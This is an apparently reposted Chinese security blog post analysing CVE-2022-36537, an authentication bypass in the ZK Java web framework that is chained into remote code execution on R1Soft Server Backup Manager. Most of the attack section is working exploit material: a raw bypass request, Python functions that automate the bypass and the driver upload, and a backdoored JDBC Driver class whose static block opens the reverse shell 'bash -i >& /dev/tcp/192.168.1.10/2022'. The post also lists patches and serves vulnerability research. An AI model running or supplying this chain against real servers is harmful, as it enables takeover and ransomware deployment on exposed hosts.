Javaweb框架ZK CVE-2022-36537漏洞分析附exp

渗透技巧 2个月前 admin
228 0 0

前言

ZK是构建企业Web应用程序的领先开源JavaWeb框架。ZK下载量超过2000000次,为众多公司和机构提供了支持,从小型公司到多个行业的《财富》世界500强。

R1Soft Server Backup Manager(SBM)为服务提供商提供了一个灵活、服务器友好的解决方案,消除了运行传统备份的麻烦。用户可以每15分钟运行一次备份,而不会影响服务器性能。近1800家服务提供商使用它来保护250000台服务器。

受影响版本

ZK框架v9.6.1、9.6.0.1、9.5.1.3、9.0.1.2和8.6.4.1。

ConnectWise Recover v2.9.7及更早版本受到影响。

R1Soft Server Backup Manager v6.16.3及更早版本受到影响。

ZK框架身份验证绕过

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

[ZK-5150] Vulnerability in zk upload - ZK-Tracker [https://tracker.zkoss.org/browse/ZK-5150]

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

从漏洞描述来看,如果路由/zkau/upload包含nextURI参数,ZK AuUploader servlet会进行forward请求转发,该转发可以绕过身份认证,返回web上下文中的文件,如获取web.xml、zk页面、applicationContext-security.xml配置信息等。

分析

直接看webapps/web-temp/ui/WEB-INF/lib/zk-7.0.6.1.jar!/org/zkoss/zk/au/http/AuUploader.class#service()方法,接收了nextURI参数并进行请求转发。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

该请求必须为multipart类型Javaweb框架ZK CVE-2022-36537漏洞分析附exp

请求构造

尝试转发到web.xml,响应ZK-Error头为410,说明失败了,dtid为随便输入的字符。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

观察http请求,发现dtid是随机生成的,并且附带了JSESSIONID。Javaweb框架ZK CVE-2022-36537漏洞分析附exp

分析前端调用的js,发现从zk.Desktop对象获取了dtid。Javaweb框架ZK CVE-2022-36537漏洞分析附exp

发起ajax请求Javaweb框架ZK CVE-2022-36537漏洞分析附exp

获取dtidJavaweb框架ZK CVE-2022-36537漏洞分析附exp

填入dtid和对应JSESSIONID

POST /zkau/upload?uuid=101010&dtid=z_h7y&sid=0&maxsize=-1 HTTP/1.1Host: 10.211.55.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36ZK-SID: 3181Accept: */*Origin: http://10.211.55.6Referer: http://10.211.55.6/login.zulAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8Connection: closeCookie:JSESSIONID=986150E63DB473A50F546481080F18CCContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ7idG4OgW5iZREBGContent-Length: 154
------WebKitFormBoundaryJ7idG4OgW5iZREBGContent-Disposition: form-data; name="nextURI"
/WEB-INF/web.xml------WebKitFormBoundaryJ7idG4OgW5iZREBG--

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

尝试访问页面

nextURI=/Configuration/server-info.zul

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

发现绕过了身份验证,获取到了应用的敏感信息。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

自动获取

使用webdriver获取

# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/def bypass_auth1(target):    warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)    rprint("[italic green][*] Bypass authentication.")    try:        opt = webdriver.ChromeOptions()        opt.add_argument('--headless')        opt.add_argument('--ignore-certificate-errors')        driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)        driver.get(target)        cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']        dtid = driver.execute_script("""            for (var dtid in zk.Desktop.all)            return dtid        """)        return dtid, cookie_str    except Exception as e:        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))        exit()

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

显然这种方式不是很方便,笔者随后发现在访问login.zul时dtid已经生成并且在响应包中。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

优化

def bypass_auth2(target):    rprint("[italic green][*] Bypass authentication.")    uri = "{0}/login.zul".format(target)    try:        result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)        cookie_str = result.headers['Set-Cookie'].split(";")[0]        r = u"dt:'(.*?)',cu:"        regex = re.compile(r)        dtid = regex.findall(result.text)[0]        return dtid, cookie_str    except Exception as e:        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))        exit()

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

ConnectWise R1Soft Server Backup Manager RCE

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

R1Soft Server Backup Manager使用了zk框架,并且支持设置jdbc驱动,从而导致远程命令执行并接管该服务器。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

分析

jdbc上传处理zk-web/WEB-INF/classes/com/r1soft/backup/server/web/configuration/DatabaseDriversWindow.class#onUpload()方法 。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

跟入processUploadedMedia()方法,获取了文件流。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

传入webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#uploadMySQLDriver()方法。Javaweb框架ZK CVE-2022-36537漏洞分析附exp

通过uploadDriverFile()方法写出文件。Javaweb框架ZK CVE-2022-36537漏洞分析附exp

webapps/lib/cdpserver.jar!/com/r1soft/backup/server/worker/db/mysql/MySQLUtil.class#hasMySQLDriverClass()会判断上传的jar包是否有org/gjt/mm/mysql/Driver.class,否则不会添加到classpath中,返回The file does not contain the MySQL JDBC database driverJavaweb框架ZK CVE-2022-36537漏洞分析附exp

webapps/lib/cdpserver.jar!/com/r1soft/util/ClassPathUtil.class#addFile()方法调用URLClassLoader添加jar包到classpath中。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

最后webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#testMySQLDatabaseDriver()进行驱动测试。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

webapps/lib/cdpserver.jar!/com/r1soft/backup/server/db/mysql/MySQLDatabaseConnection.class#driverTest()最终在Class.forName时执行了Driver中的静态代码块。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

jdbc backdoor

早在2018年时就有人提出jdbc backdoor,一部分应用程序在ui界面允许管理员上传jdbc驱动,这样非常方便,无需登陆服务器添加相关jar包。但DriverManager中的静态代码块会默认执行,从而可以执行任意代码。具体原理可以看看SPI机制是如何实现JDBC的,这里不再阐述。

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

编写恶意com.mysql.jdbc.Driver,其实就是实现java.sql.Driver接口相关方法,在静态代码块中添加恶意代码。

package com.mysql.jdbc;
import java.sql.*;import java.util.*;import java.util.logging.Logger;
/* author: Bearcat of www.numencyber.com desc : Mysql jdbc backdoor driver*/public class Driver implements java.sql.Driver { static { // String winCmd = "calc"; String linuxCmd = "bash -i >& /dev/tcp/192.168.1.10/2022 0>&1";
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd.exe", "/c", winCmd}; } else { cmds = new String[]{"/bin/bash", "-c", linuxCmd}; }
try { Runtime.getRuntime().exec(cmds); } catch (Exception ignored) { // do nothing... } }
@Override public Connection connect(String url, Properties info) throws SQLException { return null; }
@Override public boolean acceptsURL(String url) throws SQLException { return false; }
@Override public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { return new DriverPropertyInfo[0]; }
@Override public int getMajorVersion() { return 0; }
@Override public int getMinorVersion() { return 0; }
@Override public boolean jdbcCompliant() { return false; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; }}

替换合法jdbc包中的com.mysql.jdbc.Driver。

def build_jdbc_backdoor():    rprint("[italic green][*] Compile java code.")    java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'    popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)    popen.stdout.read()
tmp_path = 'jdbc_jar' os.mkdir(tmp_path) with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf: unzf.extractall("jdbc_jar") unzf.close() os.remove('jdbc_jar/com/mysql/jdbc/Driver.class') shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')
with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf: for root, dirs, files in os.walk(tmp_path): relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep for filename in files: zf.write(os.path.join(root, filename), relative_root + filename) zf.close() shutil.rmtree(tmp_path)
    rprint("[italic green][*] Build jdbc backdoor success.")

请求构造

回到ZK框架机制本身,页面每个元素都会随机生成唯一标识,需要模拟整个请求过程,拿登陆举例。

Javaweb框架ZK CVE-2022-36537漏洞分析附expJavaweb框架ZK CVE-2022-36537漏洞分析附exp

自动上传

模拟上传驱动过程

def forward_request(target, next_uri, cookie_str, uuid, dtid):    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)    param = {"nextURI": (None, next_uri)}    headers = {"Cookie": cookie_str}    data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")    headers["Content-Type"] = data.content_type    try:        result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)        return result    except Exception as e:        rprint("[italic red][-] Forward request failed. {0}".format(e))        exit()
def deploy_jdbc_backdoor(target): rprint( "[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.") play_again = input("Whether to continue? (y/n):").lower() if play_again[0] != "y": exit() # get login_dtid login_dtid, cookie_str = bypass_auth2(target) rprint("[italic green][*] Start deploying the jdbc backdoor.") build_jdbc_backdoor() # database_dtid and mysql_driver_upload_button_id uri = "/Configuration/database-drivers.zul" result = forward_request(target, uri, cookie_str, "101010", login_dtid) r1 = u"{dt:'(.*?)',cu:" regex = re.compile(r1) database_dtid = regex.findall(result.text)[0] r1 = u"'zul.wgt.Button','(.*?)'," regex = re.compile(r1) mysql_driver_upload_button_id = regex.findall(result.text)[0]
uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format( database_dtid, mysql_driver_upload_button_id) result = forward_request(target, uri, cookie_str, "101010", login_dtid)
# file_upload_dlg_id and file_upload_id r1 = u"zul.fud.FileuploadDlg','(.*?)'," regex = re.compile(r1) file_upload_dlg_id = regex.findall(result.text)[0]
r1 = u"zul.wgt.Fileupload','(.*?)'," regex = re.compile(r1) file_upload_id = regex.findall(result.text)[0]
uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid) upload_jdbc_backdoor(uri, cookie_str)
uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format( database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id) forward_request(target, uri, cookie_str, "101010", login_dtid)
uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid, file_upload_dlg_id) forward_request(target, uri, cookie_str, "101010", login_dtid)
def upload_jdbc_backdoor(uri, cookie_str): rprint("[italic green][*] Upload the database driver.") headers = {"Cookie": cookie_str} files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')} try: requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy) except Exception as e: rprint("[italic red][-] Upload the database driver failed. {0}".format(e))        exit()

利用演示

完整的exp请访问: https://github.com/numencyber/VulnerabilityPoC/tree/main/CVE-2022-36537 

总结

R1Soft Server Backup Manager使用ZK框架作为主框架,其安全性需要各Web3项目方提高重视,及时关注各种Web3基础架构的安全漏洞并及时打好补丁,以避免潜在的安全风险和数字资产损失。我们将及时挖掘,追踪各种web3上的安全风险,以及提供领先的安全解决方案,确保web3世界链上,链下安全无虞。

互联网影响

通过Shodan发现了4000多个暴露的Server Backup Manager,很有可能会被攻击者利用接管主服务器和agent主机权限并下发勒索软件。建议各Web3项目方提高重视,及时升级到安全版本,以避免潜在的安全风险和数字资产损失。如有任何疑问或技术交流,欢迎联系我们 contact@numencyber.com。

补丁下载

[ZK-5150] Vulnerability in zk upload - ZK-Tracker 

(https://tracker.zkoss.org/browse/ZK-5150)


ConnectWise Recover and R1Soft Server Backup Manager Critical Security Release 

(https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin)

NUMEN实验室致力于对Web3生态安全保驾护航。 

Javaweb框架ZK CVE-2022-36537漏洞分析附exp

Numen 官网
https://numencyber.com/ 
GitHub
https://github.com/NumenCyber
Twitter
https://twitter.com/@numencyber
Medium
https://medium.com/@numencyberlabs
LinkedIn
https://www.linkedin.com/company/numencyber/

原文始发于微信公众号(Numen Cyber Labs):Javaweb框架ZK CVE-2022-36537漏洞分析附exp

版权声明:admin 发表于 2022年12月9日 下午7:22。
转载请注明:Javaweb框架ZK CVE-2022-36537漏洞分析附exp | CTF导航

相关文章

暂无评论

暂无评论...